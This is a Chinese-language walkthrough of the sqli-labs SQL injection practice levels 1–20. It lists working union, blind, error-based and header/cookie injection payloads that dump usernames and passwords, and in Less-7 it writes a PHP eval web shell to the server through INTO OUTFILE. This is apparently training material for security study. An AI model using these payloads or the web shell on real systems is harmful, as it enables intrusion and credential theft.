目录
- Less-1 单引号字符型注入
- Less-2 整型注入
- Less-3 单括号变形字符型注入
- Less-4 双引号字符型注入
- Less-5 单引号字符型注入
- Less-6 双注入双引号字符型
- Less-7 导出文件GET字符型注入
- Less-8 单引号布尔类型盲注
- Less-9 单引号时间类型盲注
- Less-10 双引号时间类型注入
- Less-11 POST方法-单引号字符型注入
- Less-12 POST方法-双引号+括号字符型注入
- Less-13 POST方法-单引号+括号字符型注入
- Less-14 POST单引号变形双注入
- Less-15 基于bool型/时间延迟单引号POST型盲注
- Less-16 基于bool型/时间延迟的双引号POST型盲注
- Less-17 基于错误的更新查询POST注入
- Less-18 基于错误的用户代理,头部POST注入
- Less-19 基于头部的Referer POST报错注入
- Less-20 基于错误的cookie头部POST注入
Less-1 单引号字符型注入
输入单引号’,页面报错如下
根据报错知道是单引号字符型注入
判断有多少列(ORDER BY 语句用于根据指定的列对结果集进行排序)
?id=1' order by 3 --+
爆库名
?id=-1' union select 1,database(),3 --+
爆表名
?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database() --+
爆字段名
?id=-1' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_schema=database() and table_name='users' --+
爆payload
?id=-1' union select 1,group_concat(username,0x3a,password) ,3 from users --+
Less-2 整型注入
输入单引号’,页面报错如下
根据报错知道是数字型注入
注入方式参考Less-1
Less-3 单括号变形字符型注入
输入单引号’,页面报错如下
根据报错知道,是单括号字符型注入
注入方式参考Less-1
Less-4 双引号字符型注入
输入双引号",页面报错如下
根据报错知道,是双引号字符型注入
注入方式参考Less-1
Less-5 单引号字符型注入
输入单引号’,页面报错如下
闭合后,显示如下信息
可使用布尔型盲注、时间延迟型注入及报错型注入
方法1:时间延迟盲注
时间延迟型手工注入,正确会延迟,错误没有延迟,可以通过浏览器的刷新提示观察延迟情况。
爆库长
?id=1'and if(length(database())=8,sleep(5),1) --+
页面响应明显延迟,库名长度为8。
爆库名
?id=1'and if(left(database(),1)='s',sleep(5),1) --+
明显延迟,数据库第一个字符为s,接下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(5),1) --+
通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.
爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i',sleep(5),1) --+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,limit 2,1的时候查到了password列,同样的方法limit 1,1查询username列。
爆字段
?id=1' and if(left((select password from users order by id limit 0,1),1)='d',sleep(5),1) --+
?id=1' and if(left((select username from users order by id limit 0,1),1)='d',sleep(5),1) --+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
方法2: 布尔型盲注
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破。
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆库名长度
?id=1' and length(database())=8 --+
爆库名
?id=1' and left((select database()),1)='s' --+
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+
爆列名
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i' --+
爆字段
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
认识苦短,遇到时间延迟盲注和布尔类型盲注,还是用python吧
方法3:报错注入
爆库名
?id=1' and (extractvalue(1, concat(0x5c,(select database() )))) --+
爆表名
?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database() )))) --+
爆列名
?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' )))) --+
爆字段:
?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(username,0x3a,password) from users )))) --+
显然没有完全显示,使用where username not in (‘Dumb’,‘I-kill-you’)来显示其他值
?id=1' and (extractvalue(1, concat(0x5c,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+
Less-6 双注入双引号字符型
输入双引号"
根据报错,可知通过双引号"闭合。
注入方法参考Less-5
Less-7 导出文件GET字符型注入
查看源码,知道是通过’))闭合。
payload:
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]); ?>' into outfile "C:\\soft\\WWW\\sqli\\uuu.php" --+
查看上传目录下存在uuu.php文件。
上菜刀连接
备注:
这个方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。如果你使用的时phpstudy,或者xammp请修改其自己的环境里的mysql配置文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数
如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可
Less-8 单引号布尔类型盲注
?id=1有回显 ?id=1’ 不回显
构造?id=1’ and 1=1 --+ 有回显
构造?id=1’ and 1=2 --+ 不回显
注入方法参考Less-5 方法2
Less-9 单引号时间类型盲注
构造时间盲注 ?id=1’ and sleep(5) --+,发现页面明显延迟
注入方法参考Less-5方法1
Less-10 双引号时间类型注入
构造时间盲注 ?id=1" and sleep(5) --+,发现页面明显延迟
注入方法参考Less-5方法1
Less-11 POST方法-单引号字符型注入
浏览器设置本地代理,burpsuite设置代理。
输入任意用户名和密码,burpsuite抓取请求包。
输入单引号’,报错如下
判断有几列
uname=admin&passwd=123456' order by 3--+&submit=Submit
爆库名
uname=admin&passwd=123456' union select 1,database()--+&submit=Submit
爆表名
uname=admin&passwd=123456' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&submit=Submit
爆列名
uname=admin&passwd=123456' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+&submit=Submit
爆字段
uname=admin&passwd=123456' union select 1, group_concat(username,0x3a,password) from users --+&submit=Submit
Less-12 POST方法-双引号+括号字符型注入
burpsuite抓取,输入双引号,报错如下
爆库名
uname=admin&passwd=123456") union select 1,database() --+&submit=Submit
爆表名、列名、字段内容参考Less-11
Less-13 POST方法-单引号+括号字符型注入
burpsuite抓取,输入单引号,报错如下
通过报错可知 是通过’) 闭合的
可参考之前的报错注入payload进行注入
eg:爆库名
uname=admin&passwd=admin') and (extractvalue(1, concat(0x5c,(select database() )))) --+&submit=Submit
方法2:时间盲注
eg:
uname=admin') and if(length(database())=8,sleep(5),1)--+ &passwd=admin&submit=Submit
其他payload参考Less-5
Less-14 POST单引号变形双注入
通过报错,可知通过"闭合。
eg :爆库名
uname=admin&passwd=123456" and (extractvalue(1, concat(0x5c,(select database() )))) --+&submit=Submit
Less-15 基于bool型/时间延迟单引号POST型盲注
方法一:布尔盲注
uname=admin' and 1=1 --+ &passwd=123456 &submit=Submit #登录成功
uname=admin' and 1=2 --+ &passwd=123456 &submit=Submit #登录失败
爆库名
uname=admin' and left((select database()),1)='s' --+ &passwd=123456 &submit=Submit
其他参考上面
方法二:时间盲注
eg:爆库名
uname=admin' and if(left((select database()),1)='s',sleep(5),1) --+ &passwd=123456 &submit=Submit
Less-16 基于bool型/时间延迟的双引号POST型盲注
闭合方式")
布尔/时间盲注方式与Less-15相同
Less-17 基于错误的更新查询POST注入
闭合方式单引号’
保存注入
爆库名
uname=admin&passwd=123456'and updatexml(0x3a,concat(1,(select database())),1) --+&submit=Submit
爆表名
uname=admin&passwd=123456'and updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1) --+&submit=Submit
爆列名
uname=admin&passwd=123456'and updatexml(0x3a,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) --+&submit=Submit
爆字段内容
uname=admin&passwd=123456'and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
Less-18 基于错误的用户代理,头部POST注入
成功登录后,页面回显user-agent
修改user-agent为:
User-Agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
其他参考上面
Less-19 基于头部的Referer POST报错注入
成功登录后,页面回显Referer
修改Referer为:
Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
其他参考上面
Less-20 基于错误的cookie头部POST注入
登录成功后,抓包修改cookie,报语法错误。
爆库名
Cookie: uname=-Dumb' union select 1,2,database() --+
报表名、列名、字段可参考Less-1。